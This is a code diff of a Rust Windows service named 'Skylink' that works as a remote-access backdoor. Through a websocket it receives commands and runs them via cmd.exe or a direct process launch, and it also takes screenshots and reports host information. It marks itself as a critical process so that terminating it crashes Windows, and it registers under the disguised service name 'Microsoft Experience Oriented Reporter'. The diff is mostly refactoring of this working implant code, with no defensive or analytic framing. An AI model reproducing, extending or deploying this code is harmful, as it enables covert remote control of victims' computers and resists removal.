src/lib.rs

@@ -1,7 +1,6 @@
 use futures_util::stream::SplitSink;
 use lib::winapi::low_tier_god;
 use serde::{Deserialize, Serialize};
-use serde_json::json;
 use std::sync::Arc;
 use tokio::{net::TcpStream, sync::Mutex};
 use tokio_tungstenite::tungstenite::protocol::Message;
@@ -45,7 +44,7 @@ pub enum Command {
   ClientInfo,
   Dnx { params: DnxParams },
   Screenshot,
-  LowTierGod,
+  LowTierGod
 }
 
 pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
@@ -57,7 +56,6 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
       log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
       let proc = std::process::Command::new(command).args(args).output()?;
       return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string());
-      // return Ok(json!({ "stdout": String::from_utf8_lossy(&proc.stdout).trim() }).to_string())
     }
     Command::URunCMD { command } => {
       let formatted_param = format!("cmd.exe /c \"{command}\"");
@@ -80,12 +78,7 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
     Command::ClientInfo => {
       let hostname = sysinfo::System::host_name();
       let skylink_ver = "1.0.0";
-      if let Some(actual_hostname) = hostname {
+      if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
-        // Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
-        Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
-      } else {
-        Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
-      }
     }
     Command::Dnx { params } => {
       log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
@@ -128,11 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
       }
       // this was way easier than i expected... assuming it works :pilgrim2:
       Ok(format!(""))
-    }
+    },
     Command::LowTierGod => {
-      let _ = low_tier_god().await; // if this fails you're fucked
+        let _ = low_tier_god().await; // if this fails you're fucked
-      Ok(format!(""))
+        Ok(format!(""))
-    }
+    },
     _ => todo!(),
   }
 }

src/lib/logger.rs

@@ -38,21 +38,10 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
       }
     };
 
-    let debug_mode = cfg!(debug_assertions);
+    println!("{}", ansi_string);
-    if !(level == LogLevel::Debug) {
-      println!("{}", ansi_string);
 
-      if let Err(e) = logfile.write(logfile_string.as_bytes()) {
+    if let Err(e) = logfile.write(logfile_string.as_bytes()) {
-        eprintln!("Got error {:?} while trying to write to logfile.", e);
+      eprintln!("Got error {:?} while trying to write to logfile.", e);
-      }
-    } else {
-      if debug_mode {
-        println!("{}", ansi_string);
-
-        if let Err(e) = logfile.write(logfile_string.as_bytes()) {
-          eprintln!("Got error {:?} while trying to write to logfile.", e);
-        }
-      }
     }
   }
 }

src/lib/websockets.rs

@@ -1,6 +1,5 @@
 use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
 use futures_util::{SinkExt, StreamExt};
-use serde_json::json;
 use tokio_tungstenite::connect_async;
 use tokio_tungstenite::tungstenite::{Bytes, Message};
 
@@ -93,7 +92,7 @@ pub async fn websocket_handler(ws_tx: WsTx) {
                 let mut unlocked_ws_tx = ws_tx.lock().await;
 
                 if let Some(h) = unlocked_ws_tx.as_mut() {
-                  let response_msg = json!({ "err": "null", "out": v }).to_string();
+                  let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}");
 
                   if let Err(e) = h.send(response_msg.into()).await {
                     log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await;

src/lib/winapi.rs

@@ -92,29 +92,43 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
 }
 
 pub fn mark_process_critical() -> anyhow::Result<()> {
-  use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
+    use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
-  use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
+	  use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
-
+	
-  unsafe {
+	  unsafe {
-    // NtCurrentProcess pseudo-handle (-1)
+	      // NtCurrentProcess pseudo-handle (-1)
-    let handle: HANDLE = (-1isize) as usize as *mut c_void;
+	      let handle: HANDLE = (-1isize) as usize as *mut c_void;
-    let mut critical: u32 = 1;
+	      let mut critical: u32 = 1;
-    let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
+	      let status = NtSetInformationProcess(
-    if status == 0 { Ok(()) } else { anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) }
+	          handle,
-  }
+	          ProcessBreakOnTermination,
+	          &mut critical as *mut _ as *mut _,
+	          core::mem::size_of::<u32>() as u32,
+	      );
+	      if status == 0 {
+	          Ok(())
+	      } else {
+	          anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
+	      }
+	  }
 }
 
 pub async fn low_tier_god() -> anyhow::Result<()> {
-  use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
+    use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
-  use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
+    use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
 
-  unsafe {
+    unsafe {
-    // NtCurrentProcess pseudo-handle (-1)
+        // NtCurrentProcess pseudo-handle (-1)
-    let handle: HANDLE = (-1isize) as usize as *mut c_void;
+        let handle: HANDLE = (-1isize) as usize as *mut c_void;
-    let mut critical: u32 = 0;
+        let mut critical: u32 = 0;
-    let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
+        let status = NtSetInformationProcess(
-    assert_eq!(status, 0);
+            handle,
-  }
+            ProcessBreakOnTermination,
+            &mut critical as *mut _ as *mut _,
+            core::mem::size_of::<u32>() as u32,
+        );
+        assert_eq!(status, 0);
+    }
 
-  std::process::exit(1);
+    std::process::exit(1);
 }

src/main.rs

@@ -1,40 +1,43 @@
-use skylink::LOG_PATH;
-use skylink::WsTx;
 use skylink::lib::logger::{LogLevel, log};
 use skylink::lib::websockets::websocket_handler;
 use skylink::lib::winapi::mark_process_critical;
-use std::ffi::OsString;
+use skylink::LOG_PATH;
+use skylink::WsTx;
 use std::sync::Arc;
-use std::sync::mpsc::channel;
-use std::time::Duration;
 use tokio::sync::Mutex;
+use std::ffi::OsString;
+use std::time::Duration;
+use std::sync::mpsc::channel;
 
 use windows_service::{
-  define_windows_service,
+    define_windows_service,
-  service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType},
+    service::{
-  service_control_handler::{self, ServiceControlHandlerResult},
+        ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
-  service_dispatcher,
+        ServiceType,
+    },
+    service_control_handler::{self, ServiceControlHandlerResult},
+    service_dispatcher,
 };
 
-const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter Yacc (Debug Enableable Version)";
+const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
 const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
 
 fn main() -> Result<(), Box<dyn std::error::Error>> {
-  // Initialize logging
+    // Initialize logging
 
-  // Check if we are in a Debug build AND the environment variable is set
+    // Check if we are in a Debug build AND the environment variable is set
-  let is_debug_mode = cfg!(debug_assertions);
+    let is_debug_mode = cfg!(debug_assertions);
-  let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
+    let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
 
-  if is_debug_mode && force_console {
+    if is_debug_mode && force_console {
-    println!("Detected Debug Env Var: Running as console application...");
+        println!("Detected Debug Env Var: Running as console application...");
-    run_as_console()?;
+        run_as_console()?;
-  } else {
+    } else {
-    // Run as a Windows Service
+        // Run as a Windows Service
-    run_as_service()?;
+        run_as_service()?;
-  }
+    }
 
-  Ok(())
+    Ok(())
 }
 
 // -------------------------------------------------------------------------
@@ -45,9 +48,7 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
   log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
   let ws_tx: WsTx = Arc::new(Mutex::new(None));
   let ws_tx_for_handler = Arc::clone(&ws_tx);
-  tokio::spawn(async {
+  tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
-    websocket_handler(ws_tx_for_handler).await;
-  });
 
   // this isn't necessary for program functioning
   // and also error handling this is a PITA
@@ -55,15 +56,15 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
   let is_debug_mode = cfg!(debug_assertions);
   let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
   if !(is_debug_mode && force_console) {
-    let _ = mark_process_critical();
+    let _ = mark_process_critical(); 
   }
 
-  // Wait for the shutdown signal
+    // Wait for the shutdown signal
-  tokio::select! {
+    tokio::select! {
-      _ = shutdown_rx.recv() => {
+        _ = shutdown_rx.recv() => {
-          log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
+            log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
-      }
+        }
-  }
+    }
 }
 
 // -------------------------------------------------------------------------
@@ -71,27 +72,27 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
 // -------------------------------------------------------------------------
 
 fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
-  // Manually build the runtime because main() is synchronous
+    // Manually build the runtime because main() is synchronous
-  let rt = tokio::runtime::Runtime::new()?;
+    let rt = tokio::runtime::Runtime::new()?;
 
-  rt.block_on(async {
+    rt.block_on(async {
-    // Create a channel to signal shutdown
+        // Create a channel to signal shutdown
-    let (tx, rx) = tokio::sync::broadcast::channel(1);
+        let (tx, rx) = tokio::sync::broadcast::channel(1);
 
-    // Handle Ctrl+C to behave like a polite console app
+        // Handle Ctrl+C to behave like a polite console app
-    let tx_clone = tx.clone();
+        let tx_clone = tx.clone();
-    tokio::spawn(async move {
+        tokio::spawn(async move {
-      if let Ok(()) = tokio::signal::ctrl_c().await {
+            if let Ok(()) = tokio::signal::ctrl_c().await {
-        println!("\nCtrl+C detected.");
+                println!("\nCtrl+C detected.");
-        let _ = tx_clone.send(());
+                let _ = tx_clone.send(());
-      }
+            }
+        });
+
+        // Run the app
+        run_app(rx).await;
     });
 
-    // Run the app
+    Ok(())
-    run_app(rx).await;
-  });
-
-  Ok(())
 }
 
 // -------------------------------------------------------------------------
@@ -102,62 +103,77 @@ fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
 define_windows_service!(ffi_service_main, my_service_main);
 
 fn run_as_service() -> Result<(), windows_service::Error> {
-  service_dispatcher::start(SERVICE_NAME, ffi_service_main)
+    service_dispatcher::start(SERVICE_NAME, ffi_service_main)
 }
 
 fn my_service_main(_arguments: Vec<OsString>) {
-  // 1. Setup the event handler to communicate with the OS
+    // 1. Setup the event handler to communicate with the OS
-  let (shutdown_tx, shutdown_rx) = channel();
+    let (shutdown_tx, shutdown_rx) = channel();
 
-  let event_handler = move |control_event| -> ServiceControlHandlerResult {
+    let event_handler = move |control_event| -> ServiceControlHandlerResult {
-    match control_event {
+        match control_event {
-      ServiceControl::Stop | ServiceControl::Interrogate => {
+            ServiceControl::Stop | ServiceControl::Interrogate => {
-        // Signal the logic to stop
+                // Signal the logic to stop
-        let _ = shutdown_tx.send(());
+                let _ = shutdown_tx.send(());
-        ServiceControlHandlerResult::NoError
+                ServiceControlHandlerResult::NoError
-      }
+            }
-      _ => ServiceControlHandlerResult::NotImplemented,
+            _ => ServiceControlHandlerResult::NotImplemented,
+        }
+    };
+
+    let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
+        Ok(h) => h,
+        Err(e) => {
+            eprintln!("Failed to register service control handler: {}", e);
+            return;
+        }
+    };
+
+    // 2. Tell Windows we are running
+    let next_status = ServiceStatus {
+        service_type: SERVICE_TYPE,
+        current_state: ServiceState::Running,
+        controls_accepted: ServiceControlAccept::STOP,
+        exit_code: ServiceExitCode::Win32(0),
+        checkpoint: 0,
+        wait_hint: Duration::default(),
+        process_id: None,
+    };
+    if let Err(e) = status_handle.set_service_status(next_status) {
+        eprintln!("Failed to set service status: {}", e);
     }
-  };
 
-  let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
+    // 3. Start Tokio Runtime and Block
-    Ok(h) => h,
+    // We create the runtime here because we are on the service thread provided by Windows.
-    Err(e) => {
+    let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
-      eprintln!("Failed to register service control handler: {}", e);
-      return;
-    }
-  };
 
-  // 2. Tell Windows we are running
+    rt.block_on(async move {
-  let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
+        let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
-  if let Err(e) = status_handle.set_service_status(next_status) {
-    eprintln!("Failed to set service status: {}", e);
-  }
 
-  // 3. Start Tokio Runtime and Block
+        // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
-  // We create the runtime here because we are on the service thread provided by Windows.
+        tokio::spawn(async move {
-  let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
+            // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
+            // or just poll it if we expect it to be rare. 
+            // Since this is the main logic block, we can just check it in a separate thread.
+            let _ = tokio::task::spawn_blocking(move || {
+                let _ = shutdown_rx.recv(); // Block waiting for OS stop command
+            }).await;
+            
+            let _ = async_tx.send(()); // Tell app to stop
+        });
 
-  rt.block_on(async move {
+        run_app(async_rx).await;
-    let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
-
-    // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
-    tokio::spawn(async move {
-      // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
-      // or just poll it if we expect it to be rare.
-      // Since this is the main logic block, we can just check it in a separate thread.
-      let _ = tokio::task::spawn_blocking(move || {
-        let _ = shutdown_rx.recv(); // Block waiting for OS stop command
-      })
-      .await;
-
-      let _ = async_tx.send(()); // Tell app to stop
     });
 
-    run_app(async_rx).await;
+    // 4. Tell Windows we have stopped
-  });
+    let stop_status = ServiceStatus {
-
+        service_type: SERVICE_TYPE,
-  // 4. Tell Windows we have stopped
+        current_state: ServiceState::Stopped,
-  let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
+        controls_accepted: ServiceControlAccept::empty(),
-  let _ = status_handle.set_service_status(stop_status);
+        exit_code: ServiceExitCode::Win32(0),
+        checkpoint: 0,
+        wait_hint: Duration::default(),
+        process_id: None,
+    };
+    let _ = status_handle.set_service_status(stop_status);
 }